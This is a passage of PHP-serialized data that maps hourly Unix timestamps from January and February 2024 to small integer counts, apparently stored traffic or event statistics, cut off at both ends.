1705212000;a:1:{i:0;i:4;}i:1705215600;a:1:{i:0;i:7;}i:1705219200;a:1:{i:0;i:4;}i:1705222800;a:1:{i:0;i:1;}i:1705226400;a:1:{i:0;i:3;}i:1705230000;a:1:{i:0;i:3;}i:1705233600;a:1:{i:0;i:3;}i:1705237200;a:1:{i:0;i:10;}i:1705240800;a:1:{i:0;i:10;}i:1705244400;a:1:{i:0;i:4;}i:1705248000;a:1:{i:0;i:1;}i:1705251600;a:1:{i:0;i:3;}i:1705255200;a:1:{i:0;i:1;}i:1705258800;a:1:{i:0;i:2;}i:1705262400;a:1:{i:0;i:3;}i:1705266000;a:1:{i:0;i:2;}i:1705269600;a:1:{i:0;i:6;}i:1705273200;a:1:{i:0;i:2;}i:1705276800;a:1:{i:0;i:3;}i:1705280400;a:1:{i:0;i:3;}i:1705284000;a:1:{i:0;i:3;}i:1705287600;a:1:{i:0;i:1;}i:1705291200;a:1:{i:0;i:8;}i:1705294800;a:1:{i:0;i:14;}i:1705298400;a:1:{i:0;i:10;}i:1705302000;a:1:{i:0;i:8;}i:1705305600;a:1:{i:0;i:6;}i:1705309200;a:1:{i:0;i:3;}i:1705312800;a:1:{i:0;i:6;}i:1705316400;a:1:{i:0;i:4;}i:1705320000;a:1:{i:0;i:3;}i:1705323600;a:1:{i:0;i:3;}i:1705327200;a:1:{i:0;i:2;}i:1705330800;a:1:{i:0;i:2;}i:1705334400;a:1:{i:0;i:2;}i:1705338000;a:1:{i:0;i:4;}i:1705341600;a:1:{i:0;i:1;}i:1705348800;a:1:{i:0;i:3;}i:1705352400;a:1:{i:0;i:1;}i:1705356000;a:1:{i:0;i:2;}i:1705359600;a:1:{i:0;i:4;}i:1705363200;a:1:{i:0;i:4;}i:1705366800;a:1:{i:0;i:1;}i:1705370400;a:1:{i:0;i:1;}i:1705374000;a:1:{i:0;i:2;}i:1705377600;a:1:{i:0;i:1;}i:1705381200;a:1:{i:0;i:5;}i:1705384800;a:1:{i:0;i:17;}i:1705388400;a:1:{i:0;i:8;}i:1705392000;a:1:{i:0;i:8;}i:1705395600;a:1:{i:0;i:7;}i:1705399200;a:1:{i:0;i:7;}i:1705402800;a:1:{i:0;i:1;}i:1705406400;a:1:{i:0;i:5;}i:1705410000;a:1:{i:0;i:2;}i:1705417200;a:1:{i:0;i:3;}i:1705420800;a:1:{i:0;i:2;}i:1705424400;a:1:{i:0;i:2;}i:1705428000;a:1:{i:0;i:4;}i:1705431600;a:1:{i:0;i:7;}i:1705435200;a:1:{i:0;i:3;}i:1705438800;a:1:{i:0;i:5;}i:1705442400;a:1:{i:0;i:2;}i:1705446000;a:1:{i:0;i:3;}i:1705449600;a:1:{i:0;i:5;}i:1705453200;a:1:{i:0;i:8;}i:1705456800;a:1:{i:0;i:1;}i:1705460400;a:1:{i:0;i:7;}i:1705464000;a:1:{i:0;i:4;}i:1705467600;a:1:{i:0;i:17;}i:1705471200;a:1:{i:0;i:24;}i:1705474800;a:1:{i:0;i:13;}i:1705478400;a:1:{i:0;i:6;}i:1705482000;a:1:{i:0;i:5;}i:1705485600;a:1:{i:0;i:7;}i:1705489200;a:1:{i:0;i:3;}i:1705492800;a:1:{i:0;i:4;}i:1705496400;a:1:{i:0;i:5;}i:1705500000;a:1:{i:0;i:6;}i:1705503600;a:1:{i:0;i:2;}i:1705507200;a:1:{i:0;i:4;}i:1705510800;a:1:{i:0;i:6;}i:1705514400;a:1:{i:0;i:3;}i:1705518000;a:1:{i:0;i:4;}i:1705521600;a:1:{i:0;i:8;}i:1705525200;a:1:{i:0;i:3;}i:1705528800;a:1:{i:0;i:2;}i:1705532400;a:1:{i:0;i:1;}i:1705536000;a:1:{i:0;i:8;}i:1705539600;a:1:{i:0;i:2;}i:1705543200;a:1:{i:0;i:6;}i:1705546800;a:1:{i:0;i:2;}i:1705550400;a:1:{i:0;i:5;}i:1705554000;a:1:{i:0;i:5;}i:1705557600;a:1:{i:0;i:7;}i:1705561200;a:1:{i:0;i:10;}i:1705564800;a:1:{i:0;i:9;}i:1705568400;a:1:{i:0;i:3;}i:1705572000;a:1:{i:0;i:2;}i:1705575600;a:1:{i:0;i:7;}i:1705579200;a:1:{i:0;i:1;}i:1705582800;a:1:{i:0;i:2;}i:1705586400;a:1:{i:0;i:6;}i:1705590000;a:1:{i:0;i:3;}i:1705593600;a:1:{i:0;i:2;}i:1705597200;a:1:{i:0;i:2;}i:1705600800;a:1:{i:0;i:3;}i:1705611600;a:1:{i:0;i:5;}i:1705615200;a:1:{i:0;i:3;}i:1705618800;a:1:{i:0;i:1;}i:1705622400;a:1:{i:0;i:1;}i:1705626000;a:1:{i:0;i:8;}i:1705629600;a:1:{i:0;i:9;}i:1705633200;a:1:{i:0;i:9;}i:1705636800;a:1:{i:0;i:9;}i:1705640400;a:1:{i:0;i:10;}i:1705644000;a:1:{i:0;i:11;}i:1705647600;a:1:{i:0;i:8;}i:1705651200;a:1:{i:0;i:13;}i:1705654800;a:1:{i:0;i:9;}i:1705658400;a:1:{i:0;i:10;}i:1705662000;a:1:{i:0;i:3;}i:1705665600;a:1:{i:0;i:6;}i:1705669200;a:1:{i:0;i:3;}i:1705672800;a:1:{i:0;i:3;}i:1705676400;a:1:{i:0;i:3;}i:1705680000;a:1:{i:0;i:2;}i:1705683600;a:1:{i:0;i:4;}i:1705687200;a:1:{i:0;i:2;}i:1705690800;a:1:{i:0;i:7;}i:1705694400;a:1:{i:0;i:5;}i:1705698000;a:1:{i:0;i:4;}i:1705701600;a:1:{i:0;i:5;}i:1705705200;a:1:{i:0;i:2;}i:1705708800;a:1:{i:0;i:2;}i:1705712400;a:1:{i:0;i:2;}i:1705716000;a:1:{i:0;i:5;}i:1705719600;a:1:{i:0;i:5;}i:1705723200;a:1:{i:0;i:5;}i:1705726800;a:1:{i:0;i:6;}i:1705730400;a:1:{i:0;i:15;}i:1705734000;a:1:{i:0;i:5;}i:1705737600;a:1:{i:0;i:2;}i:1705741200;a:1:{i:0;i:9;}i:1705744800;a:1:{i:0;i:1;}i:1705748400;a:1:{i:0;i:2;}i:1705752000;a:1:{i:0;i:3;}i:1705755600;a:1:{i:0;i:3;}i:1705762800;a:1:{i:0;i:19;}i:1705766400;a:1:{i:0;i:14;}i:1705770000;a:1:{i:0;i:4;}i:1705773600;a:1:{i:0;i:12;}i:1705777200;a:1:{i:0;i:13;}i:1705780800;a:1:{i:0;i:9;}i:1705784400;a:1:{i:0;i:11;}i:1705788000;a:1:{i:0;i:17;}i:1705791600;a:1:{i:0;i:13;}i:1705795200;a:1:{i:0;i:10;}i:1705798800;a:1:{i:0;i:4;}i:1705802400;a:1:{i:0;i:3;}i:1705806000;a:1:{i:0;i:7;}i:1705809600;a:1:{i:0;i:9;}i:1705813200;a:1:{i:0;i:4;}i:1705816800;a:1:{i:0;i:9;}i:1705820400;a:1:{i:0;i:4;}i:1705824000;a:1:{i:0;i:18;}i:1705827600;a:1:{i:0;i:4;}i:1705831200;a:1:{i:0;i:16;}i:1705834800;a:1:{i:0;i:8;}i:1705838400;a:1:{i:0;i:5;}i:1705842000;a:1:{i:0;i:21;}i:1705845600;a:1:{i:0;i:13;}i:1705849200;a:1:{i:0;i:1;}i:1705852800;a:1:{i:0;i:6;}i:1705856400;a:1:{i:0;i:8;}i:1705860000;a:1:{i:0;i:7;}i:1705863600;a:1:{i:0;i:2;}i:1705867200;a:1:{i:0;i:9;}i:1705870800;a:1:{i:0;i:7;}i:1705874400;a:1:{i:0;i:1;}i:1705878000;a:1:{i:0;i:6;}i:1705881600;a:1:{i:0;i:9;}i:1705885200;a:1:{i:0;i:5;}i:1705888800;a:1:{i:0;i:15;}i:1705892400;a:1:{i:0;i:24;}i:1705896000;a:1:{i:0;i:4;}i:1705899600;a:1:{i:0;i:24;}i:1705903200;a:1:{i:0;i:4;}i:1705906800;a:1:{i:0;i:28;}i:1705910400;a:1:{i:0;i:24;}i:1705914000;a:1:{i:0;i:24;}i:1705917600;a:1:{i:0;i:1;}i:1705921200;a:1:{i:0;i:22;}i:1705924800;a:1:{i:0;i:22;}i:1705928400;a:1:{i:0;i:5;}i:1705932000;a:1:{i:0;i:40;}i:1705935600;a:1:{i:0;i:26;}i:1705939200;a:1:{i:0;i:14;}i:1705942800;a:1:{i:0;i:1;}i:1705946400;a:1:{i:0;i:28;}i:1705950000;a:1:{i:0;i:12;}i:1705953600;a:1:{i:0;i:17;}i:1705957200;a:1:{i:0;i:26;}i:1705960800;a:1:{i:0;i:27;}i:1705964400;a:1:{i:0;i:12;}i:1705968000;a:1:{i:0;i:16;}i:1705971600;a:1:{i:0;i:13;}i:1705975200;a:1:{i:0;i:12;}i:1705978800;a:1:{i:0;i:21;}i:1705982400;a:1:{i:0;i:18;}i:1705986000;a:1:{i:0;i:29;}i:1705989600;a:1:{i:0;i:20;}i:1705993200;a:1:{i:0;i:18;}i:1705996800;a:1:{i:0;i:8;}i:1706000400;a:1:{i:0;i:20;}i:1706004000;a:1:{i:0;i:26;}i:1706007600;a:1:{i:0;i:30;}i:1706011200;a:1:{i:0;i:7;}i:1706014800;a:1:{i:0;i:11;}i:1706018400;a:1:{i:0;i:7;}i:1706022000;a:1:{i:0;i:14;}i:1706025600;a:1:{i:0;i:11;}i:1706029200;a:1:{i:0;i:2;}i:1706032800;a:1:{i:0;i:15;}i:1706036400;a:1:{i:0;i:1;}i:1706040000;a:1:{i:0;i:10;}i:1706043600;a:1:{i:0;i:19;}i:1706047200;a:1:{i:0;i:11;}i:1706050800;a:1:{i:0;i:21;}i:1706054400;a:1:{i:0;i:5;}i:1706058000;a:1:{i:0;i:15;}i:1706061600;a:1:{i:0;i:13;}i:1706065200;a:1:{i:0;i:11;}i:1706068800;a:1:{i:0;i:13;}i:1706072400;a:1:{i:0;i:27;}i:1706076000;a:1:{i:0;i:15;}i:1706079600;a:1:{i:0;i:22;}i:1706083200;a:1:{i:0;i:21;}i:1706086800;a:1:{i:0;i:24;}i:1706090400;a:1:{i:0;i:3;}i:1706094000;a:1:{i:0;i:15;}i:1706097600;a:1:{i:0;i:15;}i:1706101200;a:1:{i:0;i:21;}i:1706104800;a:1:{i:0;i:12;}i:1706108400;a:1:{i:0;i:20;}i:1706112000;a:1:{i:0;i:9;}i:1706115600;a:1:{i:0;i:14;}i:1706119200;a:1:{i:0;i:6;}i:1706122800;a:1:{i:0;i:21;}i:1706126400;a:1:{i:0;i:22;}i:1706130000;a:1:{i:0;i:16;}i:1706133600;a:1:{i:0;i:5;}i:1706137200;a:1:{i:0;i:22;}i:1706140800;a:1:{i:0;i:6;}i:1706144400;a:1:{i:0;i:15;}i:1706148000;a:1:{i:0;i:6;}i:1706151600;a:1:{i:0;i:13;}i:1706155200;a:1:{i:0;i:6;}i:1706158800;a:1:{i:0;i:12;}i:1706162400;a:1:{i:0;i:18;}i:1706166000;a:1:{i:0;i:32;}i:1706169600;a:1:{i:0;i:20;}i:1706173200;a:1:{i:0;i:24;}i:1706176800;a:1:{i:0;i:18;}i:1706180400;a:1:{i:0;i:13;}i:1706184000;a:1:{i:0;i:13;}i:1706187600;a:1:{i:0;i:14;}i:1706191200;a:1:{i:0;i:8;}i:1706194800;a:1:{i:0;i:7;}i:1706198400;a:1:{i:0;i:6;}i:1706202000;a:1:{i:0;i:8;}i:1706205600;a:1:{i:0;i:10;}i:1706209200;a:1:{i:0;i:6;}i:1706212800;a:1:{i:0;i:7;}i:1706216400;a:1:{i:0;i:11;}i:1706220000;a:1:{i:0;i:5;}i:1706223600;a:1:{i:0;i:6;}i:1706227200;a:1:{i:0;i:8;}i:1706230800;a:1:{i:0;i:11;}i:1706234400;a:1:{i:0;i:7;}i:1706238000;a:1:{i:0;i:6;}i:1706241600;a:1:{i:0;i:2;}i:1706245200;a:1:{i:0;i:4;}i:1706256000;a:1:{i:0;i:8;}i:1706259600;a:1:{i:0;i:7;}i:1706263200;a:1:{i:0;i:5;}i:1706266800;a:1:{i:0;i:7;}i:1706270400;a:1:{i:0;i:11;}i:1706274000;a:1:{i:0;i:5;}i:1706277600;a:1:{i:0;i:3;}i:1706281200;a:1:{i:0;i:2;}i:1706284800;a:1:{i:0;i:4;}i:1706292000;a:1:{i:0;i:1;}i:1706295600;a:1:{i:0;i:1;}i:1706302800;a:1:{i:0;i:1;}i:1706306400;a:1:{i:0;i:1;}i:1706324400;a:1:{i:0;i:2;}i:1706328000;a:1:{i:0;i:4;}i:1706331600;a:1:{i:0;i:2;}i:1706335200;a:1:{i:0;i:3;}i:1706338800;a:1:{i:0;i:1;}i:1706342400;a:1:{i:0;i:4;}i:1706346000;a:1:{i:0;i:3;}i:1706349600;a:1:{i:0;i:17;}i:1706353200;a:1:{i:0;i:11;}i:1706356800;a:1:{i:0;i:6;}i:1706360400;a:1:{i:0;i:5;}i:1706364000;a:1:{i:0;i:7;}i:1706367600;a:1:{i:0;i:3;}i:1706371200;a:1:{i:0;i:7;}i:1706374800;a:1:{i:0;i:14;}i:1706378400;a:1:{i:0;i:5;}i:1706382000;a:1:{i:0;i:2;}i:1706385600;a:1:{i:0;i:3;}i:1706389200;a:1:{i:0;i:2;}i:1706392800;a:1:{i:0;i:5;}i:1706396400;a:1:{i:0;i:4;}i:1706400000;a:1:{i:0;i:4;}i:1706403600;a:1:{i:0;i:4;}i:1706407200;a:1:{i:0;i:3;}i:1706410800;a:1:{i:0;i:8;}i:1706414400;a:1:{i:0;i:9;}i:1706418000;a:1:{i:0;i:7;}i:1706421600;a:1:{i:0;i:7;}i:1706425200;a:1:{i:0;i:3;}i:1706428800;a:1:{i:0;i:3;}i:1706432400;a:1:{i:0;i:3;}i:1706436000;a:1:{i:0;i:1;}i:1706439600;a:1:{i:0;i:7;}i:1706443200;a:1:{i:0;i:6;}i:1706446800;a:1:{i:0;i:3;}i:1706450400;a:1:{i:0;i:7;}i:1706454000;a:1:{i:0;i:6;}i:1706457600;a:1:{i:0;i:7;}i:1706461200;a:1:{i:0;i:12;}i:1706464800;a:1:{i:0;i:7;}i:1706468400;a:1:{i:0;i:11;}i:1706472000;a:1:{i:0;i:8;}i:1706475600;a:1:{i:0;i:7;}i:1706479200;a:1:{i:0;i:10;}i:1706482800;a:1:{i:0;i:8;}i:1706486400;a:1:{i:0;i:4;}i:1706490000;a:1:{i:0;i:17;}i:1706493600;a:1:{i:0;i:14;}i:1706497200;a:1:{i:0;i:26;}i:1706500800;a:1:{i:0;i:36;}i:1706504400;a:1:{i:0;i:27;}i:1706508000;a:1:{i:0;i:20;}i:1706511600;a:1:{i:0;i:18;}i:1706515200;a:1:{i:0;i:16;}i:1706518800;a:1:{i:0;i:6;}i:1706522400;a:1:{i:0;i:6;}i:1706526000;a:1:{i:0;i:5;}i:1706529600;a:1:{i:0;i:11;}i:1706533200;a:1:{i:0;i:11;}i:1706536800;a:1:{i:0;i:15;}i:1706540400;a:1:{i:0;i:9;}i:1706544000;a:1:{i:0;i:9;}i:1706547600;a:1:{i:0;i:10;}i:1706551200;a:1:{i:0;i:9;}i:1706554800;a:1:{i:0;i:9;}i:1706558400;a:1:{i:0;i:9;}i:1706562000;a:1:{i:0;i:9;}i:1706565600;a:1:{i:0;i:10;}i:1706569200;a:1:{i:0;i:10;}i:1706572800;a:1:{i:0;i:9;}i:1706576400;a:1:{i:0;i:9;}i:1706580000;a:1:{i:0;i:9;}i:1706583600;a:1:{i:0;i:9;}i:1706587200;a:1:{i:0;i:13;}i:1706590800;a:1:{i:0;i:16;}i:1706594400;a:1:{i:0;i:18;}i:1706598000;a:1:{i:0;i:13;}i:1706601600;a:1:{i:0;i:14;}i:1706605200;a:1:{i:0;i:11;}i:1706608800;a:1:{i:0;i:11;}i:1706612400;a:1:{i:0;i:6;}i:1706616000;a:1:{i:0;i:6;}i:1706619600;a:1:{i:0;i:10;}i:1706623200;a:1:{i:0;i:3;}i:1706626800;a:1:{i:0;i:4;}i:1706630400;a:1:{i:0;i:3;}i:1706634000;a:1:{i:0;i:4;}i:1706637600;a:1:{i:0;i:6;}i:1706641200;a:1:{i:0;i:5;}i:1706644800;a:1:{i:0;i:6;}i:1706648400;a:1:{i:0;i:3;}i:1706652000;a:1:{i:0;i:4;}i:1706655600;a:1:{i:0;i:6;}i:1706659200;a:1:{i:0;i:5;}i:1706662800;a:1:{i:0;i:6;}i:1706666400;a:1:{i:0;i:7;}i:1706670000;a:1:{i:0;i:5;}i:1706673600;a:1:{i:0;i:6;}i:1706677200;a:1:{i:0;i:4;}i:1706680800;a:1:{i:0;i:2;}i:1706684400;a:1:{i:0;i:6;}i:1706688000;a:1:{i:0;i:4;}i:1706691600;a:1:{i:0;i:4;}i:1706695200;a:1:{i:0;i:6;}i:1706698800;a:1:{i:0;i:5;}i:1706702400;a:1:{i:0;i:5;}i:1706706000;a:1:{i:0;i:4;}i:1706709600;a:1:{i:0;i:2;}i:1706713200;a:1:{i:0;i:1;}i:1706716800;a:1:{i:0;i:3;}i:1706720400;a:1:{i:0;i:2;}i:1706724000;a:1:{i:0;i:1;}i:1706727600;a:1:{i:0;i:3;}i:1706731200;a:1:{i:0;i:1;}i:1706734800;a:1:{i:0;i:2;}i:1706738400;a:1:{i:0;i:2;}i:1706742000;a:1:{i:0;i:2;}i:1706745600;a:1:{i:0;i:3;}i:1706749200;a:1:{i:0;i:2;}i:1706752800;a:1:{i:0;i:2;}i:1706756400;a:1:{i:0;i:13;}i:1706760000;a:1:{i:0;i:11;}i:1706763600;a:1:{i:0;i:9;}i:1706767200;a:1:{i:0;i:8;}i:1706770800;a:1:{i:0;i:7;}i:1706774400;a:1:{i:0;i:8;}i:1706778000;a:1:{i:0;i:4;}i:1706781600;a:1:{i:0;i:8;}i:1706785200;a:1:{i:0;i:2;}i:1706788800;a:1:{i:0;i:3;}i:1706792400;a:1:{i:0;i:3;}i:1706796000;a:1:{i:0;i:6;}i:1706799600;a:1:{i:0;i:8;}i:1706803200;a:1:{i:0;i:8;}i:1706806800;a:1:{i:0;i:11;}i:1706810400;a:1:{i:0;i:9;}i:1706814000;a:1:{i:0;i:9;}i:1706817600;a:1:{i:0;i:8;}i:1706821200;a:1:{i:0;i:10;}i:1706824800;a:1:{i:0;i:9;}i:1706828400;a:1:{i:0;i:7;}i:1706832000;a:1:{i:0;i:9;}i:1706835600;a:1:{i:0;i:7;}i:1706839200;a:1:{i:0;i:6;}i:1706842800;a:1:{i:0;i:9;}i:1706846400;a:1:{i:0;i:8;}i:1706850000;a:1:{i:0;i:6;}i:1706853600;a:1:{i:0;i:9;}i:1706857200;a:1:{i:0;i:8;}i:1706860800;a:1:{i:0;i:9;}i:1706864400;a:1:{i:0;i:7;}i:1706868000;a:1:{i:0;i:6;}i:1706871600;a:1:{i:0;i:7;}i:1706875200;a:1:{i:0;i:7;}i:1706878800;a:1:{i:0;i:2;}i:1706882400;a:1:{i:0;i:2;}i:1706886000;a:1:{i:0;i:4;}i:1706889600;a:1:{i:0;i:1;}i:1706893200;a:1:{i:0;i:2;}i:1706896800;a:1:{i:0;i:1;}i:1706900400;a:1:{i:0;i:5;}i:1706904000;a:1:{i:0;i:3;}i:1706907600;a:1:{i:0;i:1;}i:1706918400;a:1:{i:0;i:3;}i:1706929200;a:1:{i:0;i:1;}i:1706932800;a:1:{i:0;i:13;}i:1706936400;a:1:{i:0;i:11;}i:1706940000;a:1:{i:0;i:5;}i:1706943600;a:1:{i:0;i:3;}i:1706947200;a:1:{i:0;i:4;}i:1706950800;a:1:{i:0;i:9;}i:1706954400;a:1:{i:0;i:2;}i:1706958000;a:1:{i:0;i:4;}i:1706961600;a:1:{i:0;i:2;}i:1706965200;a:1:{i:0;i:4;}i:1706972400;a:1:{i:0;i:1;}i:1706976000;a:1:{i:0;i:3;}i:1706979600;a:1:{i:0;i:7;}i:1706983200;a:1:{i:0;i:10;}i:1706986800;a:1:{i:0;i:6;}i:1706990400;a:1:{i:0;i:4;}i:1706994000;a:1:{i:0;i:4;}i:1706997600;a:1:{i:0;i:11;}i:1707001200;a:1:{i:0;i:5;}i:1707004800;a:1:{i:0;i:5;}i:1707008400;a:1:{i:0;i:7;}i:1707012000;a:1:{i:0;i:5;}i:1707015600;a:1:{i:0;i:9;}i:1707019200;a:1:{i:0;i:10;}i:1707022800;a:1:{i:0;i:11;}i:1707026400;a:1:{i:0;i:13;}i:1707030000;a:1:{i:0;i:13;}i:1707033600;a:1:{i:0;i:12;}i:1707037200;a:1:{i:0;i:10;}i:1707044400;a:1:{i:0;i:4;}i:1707048000;a:1:{i:0;i:7;}i:1707051600;a:1:{i:0;i:3;}i:1707055200;a:1:{i:0;i:6;}i:1707058800;a:1:{i:0;i:4;}i:1707062400;a:1:{i:0;i:3;}i:1707066000;a:1:{i:0;i:2;}i:1707069600;a:1:{i:0;i:1;}i:1707073200;a:1:{i:0;i:9;}i:1707076800;a:1:{i:0;i:3;}i:1707080400;a:1:{i:0;i:4;}i:1707084000;a:1:{i:0;i:2;}i:1707087600;a:1:{i:0;i:5;}i:1707091200;a:1:{i:0;i:4;}i:1707094800;a:1:{i:0;i:5;}i:1707098400;a:1:{i:0;i:1;}i:1707105600;a:1:{i:0;i:2;}i:1707109200;a:1:{i:0;i:7;}i:1707112800;a:1:{i:0;i:13;}i:1707116400;a:1:{i:0;i:16;}i:1707120000;a:1:{i:0;i:14;}i:1707123600;a:1:{i:0;i:11;}i:1707127200;a:1:{i:0;i:9;}i:1707130800;a:1:{i:0;i:5;}i:1707134400;a:1:{i:0;i:6;}i:1707141600;a:1:{i:0;i:8;}i:1707145200;a:1:{i:0;i:7;}i:1707148800;a:1:{i:0;i:5;}i:1707152400;a:1:{i:0;i:4;}i:1707156000;a:1:{i:0;i:9;}i:1707159600;a:1:{i:0;i:5;}i:1707163200;a:1:{i:0;i:5;}i:1707166800;a:1:{i:0;i:5;}i:1707170400;a:1:{i:0;i:5;}i:1707174000;a:1:{i:0;i:4;}i:1707177600;a:1:{i:0;i:10;}i:1707181200;a:1:{i:0;i:4;}i:1707184800;a:1:{i:0;i:5;}i:1707188400;a:1:{i:0;i:3;}i:1707192000;a:1:{i:0;i:6;}i:1707195600;a:1:{i:0;i:9;}i:1707199200;a:1:{i:0;i:9;}i:1707202800;a:1:{i:0;i:15;}i:1707206400;a:1:{i:0;i:8;}i:1707210000;a:1:{i:0;i:9;}i:1707213600;a:1:{i:0;i:8;}i:1707217200;a:1:{i:0;i:9;}i:1707220800;a:1:{i:0;i:8;}i:1707224400;a:1:{i:0;i:8;}i:1707228000;a:1:{i:0;i:8;}i:1707231600;a:1:{i:0;i:1;}i:1707235200;a:1:{i:0;i:1;}i:1707238800;a:1:{i:0;i:3;}i:1707253200;a:1:{i:0;i:1;}i:1707256800;a:1:{i:0;i:4;}i:1707274800;a:1:{i:0;i:1;}i:1707278400;a:1:{i:0;i:3;}i:1707285600;a:1:{i:0;i:1;}i:1707292800;a:1:{i:0;i:1;}i:1707296400;a:1:{i:0;i:9;}i:1707300000;a:1:{i:0;i:11;}i:1707303600;a:1:{i:0;i:6;}i:1707307200;a:1:{i:0;i:2;}i:1707310800;a:1:{i:0;i:7;}i:1707314400;a:1:{i:0;i:3;}i:1707318000;a:1:{i:0;i:6;}i:1707321600;a:1:{i:0;i:9;}i:1707325200;a:1:{i:0;i:9;}i:1707328800;a:1:{i:0;i:4;}i:1707332400;a:1:{i:0;i:5;}i:1707336000;a:1:{i:0;i:5;}i:1707339600;a:1:{i:0;i:6;}i:1707343200;a:1:{i:0;i:9;}i:1707346800;a:1:{i:0;i:4;}i:1707350400;a:1:{i:0;i:3;}i:1707354000;a:1:{i:0;i:5;}i:1707357600;a:1:{i:0;i:5;}i:1707364800;a:1:{i:0;i:3;}i:1707382800;a:1:{i:0;i:3;}i:1707386400;a:1:{i:0;i:1;}i:1707400800;a:1:{i:0;i:1;}i:1707404400;a:1:{i:0;i:4;}i:1707408000;a:1:{i:0;i:10;}i:1707411600;a:1:{i:0;i:13;}i:1707415200;a:1:{i:0;i:11;}i:1707418800;a:1:{i:0;i:10;}i:1707422400;a:1:{i:0;i:9;}i:1707426000;a:1:{i:0;i:12;}i:1707429600;a:1:{i:0;i:9;}i:1707433200;a:1:{i:0;i:9;}i:1707436800;a:1:{i:0;i:11;}i:1707440400;a:1:{i:0;i:6;}i:1707444000;a:1:{i:0;i:5;}i:1707447600;a:1:{i:0;i:6;}i:1707451200;a:1:{i:0;i:5;}i:1707454800;a:1:{i:0;i:5;}i:1707458400;a:1:{i:0;i:5;}i:1707462000;a:1:{i:0;i:4;}i:1707465600;a:1:{i:0;i:2;}i:1707469200;a:1:{i:0;i:6;}i:1707472800;a:1:{i:0;i:4;}i:1707476400;a:1:{i:0;i:5;}i:1707480000;a:1:{i:0;i:5;}i:1707483600;a:1:{i:0;i:4;}i:1707487200;a:1:{i:0;i:4;}i:1707490800;a:1:{i:0;i:6;}i:1707501600;a:1:{i:0;i:12;}i:1707508800;a:1:{i:0;i:13;}i:1707516000;a:1:{i:0;i:16;}i:1707523200;a:1:{i:0;i:11;}i:1707530400;a:1:{i:0;i:12;}i:1707537600;a:1:{i:0;i:9;}i:1707544800;a:1:{i:0;i:13;}i:1707552000;a:1:{i:0;i:11;}i:1707562800;a:1:{i:0;i:11;}i:1707570000;a:1:{i:0;i:12;}i:1707573600;a:1:{i:0;i:4;}i:1707577200;a:1:{i:0;i:11;}i:1707580800;a:1:{i:0;i:3;}i:1707584400;a:1:{i:0;i:12;}i:1707591600;a:1:{i:0;i:13;}i:1707598800;a:1:{i:0;i:15;}i:1707606000;a:1:{i:0;i:12;}i:1707613200;a:1:{i:0;i:13;}i:1707620400;a:1:{i:0;i:12;}i:1707627600;a:1:{i:0;i:12;}i:1707638400;a:1:{i:0;i:17;}i:1707642000;a:1:{i:0;i:8;}i:1707645600;a:1:{i:0;i:17;}i:1707649200;a:1:{i:0;i:8;}i:1707652800;a:1:{i:0;i:20;}i:1707656400;a:1:{i:0;i:17;}i:1707660000;a:1:{i:0;i:6;}i:1707663600;a:1:{i:0;i:18;}i:1707667200;a:1:{i:0;i:7;}i:1707670800;a:1:{i:0;i:12;}i:1707674400;a:1:{i:0;i:5;}i:1707678000;a:1:{i:0;i:18;}i:1707681600;a:1:{i:0;i:3;}i:1707685200;a:1:{i:0;i:22;}i:1707688800;a:1:{i:0;i:9;}i:1707692400;a:1:{i:0;i:17;}i:1707696000;a:1:{i:0;i:9;}i:1707699600;a:1:{i:0;i:17;}i:1707703200;a:1:{i:0;i:6;}i:1707706800;a:1:{i:0;i:6;}i:1707710400;a:1:{i:0;i:19;}i:1707714000;a:1:{i:0;i:21;}i:1707717600;a:1:{i:0;i:24;}i:1707721200;a:1:{i:0;i:31;}i:1707724800;a:1:{i:0;i:21;}i:1707728400;a:1:{i:0;i:38;}i:1707732000;a:1:{i:0;i:18;}i:1707735600;a:1:{i:0;i:28;}i:1707739200;a:1:{i:0;i:16;}i:1707742800;a:1:{i:0;i:23;}i:1707746400;a:1:{i:0;i:12;}i:1707750000;a:1:{i:0;i:20;}i:1707753600;a:1:{i:0;i:32;}i:1707757200;a:1:{i:0;i:15;}i:1707760800;a:1:{i:0;i:24;}i:1707764400;a:1:{i:0;i:10;}i:1707768000;a:1:{i:0;i:26;}i:1707771600;a:1:{i:0;i:7;}i:1707775200;a:1:{i:0;i:8;}i:1707778800;a:1:{i:0;i:18;}i:1707782400;a:1:{i:0;i:9;}i:1707786000;a:1:{i:0;i:21;}i:1707789600;a:1:{i:0;i:7;}i:1707793200;a:1:{i:0;i:22;}i:1707796800;a:1:{i:0;i:11;}i:1707800400;a:1:{i:0;i:23;}i:1707804000;a:1:{i:0;i:9;}i:1707807600;a:1:{i:0;i:22;}i:1707811200;a:1:{i:0;i:7;}i:1707814800;a:1:{i:0;i:8;}i:1707818400;a:1:{i:0;i:18;}i:1707822000;a:1:{i:0;i:19;}i:1707825600;a:1:{i:0;i:8;}i:1707829200;a:1:{i:0;i:17;}i:1707832800;a:1:{i:0;i:10;}i:1707836400;a:1:{i:0;i:4;}i:1707840000;a:1:{i:0;i:9;}i:1707843600;a:1:{i:0;i:3;}i:1707847200;a:1:{i:0;i:9;}i:1707850800;a:1:{i:0;i:1;}i:1707854400;a:1:{i:0;i:11;}i:1707858000;a:1:{i:0;i:4;}i:1707861600;a:1:{i:0;i:14;}i:1707865200;a:1:{i:0;i:1;}i:1707868800;a:1:{i:0;i:10;}i:1707872400;a:1:{i:0;i:1;}i:1707876000;a:1:{i:0;i:12;}i:1707879600;a:1:{i:0;i:33;}i:1707883200;a:1:{i:0;i:15;}i:1707886800;a:1:{i:0;i:19;}i:1707890400;a:1:{i:0;i:12;}i:1707894000;a:1:{i:0;i:20;}i:1707897600;a:1:{i:0;i:12;}i:1707901200;a:1:{i:0;i:12;}i:1707904800;a:1:{i:0;i:23;}i:1707908400;a:1:{i:0;i:11;}i:1707912000;a:1:{i:0;i:19;}i:1707915600;a:1:{i:0;i:10;}i:1707919200;a:1:{i:0;i:22;}i:1707922800;a:1:{i:0;i:10;}i:1707926400;a:1:{i:0;i:5;}i:1707930000;a:1:{i:0;i:20;}i:1707933600;a:1:{i:0;i:9;}i:1707937200;a:1:{i:0;i:19;}i:1707940800;a:1:{i:0;i:7;}i:1707944400;a:1:{i:0;i:17;}i:1707948000;a:1:{i:0;i:6;}i:1707951600;a:1:{i:0;i:5;}i:1707955200;a:1:{i:0;i:15;}i:1707958800;a:1:{i:0;i:6;}i:1707962400;a:1:{i:0;i:5;}i:1707966000;a:1:{i:0;i:20;}i:1707969600;a:1:{i:0;i:9;}i:1707973200;a:1:{i:0;i:22;}i:1707976800;a:1:{i:0;i:21;}i:1707980400;a:1:{i:0;i:5;}i:1707984000;a:1:{i:0;i:8;}i:1707987600;a:1:{i:0;i:14;}i:1707991200;a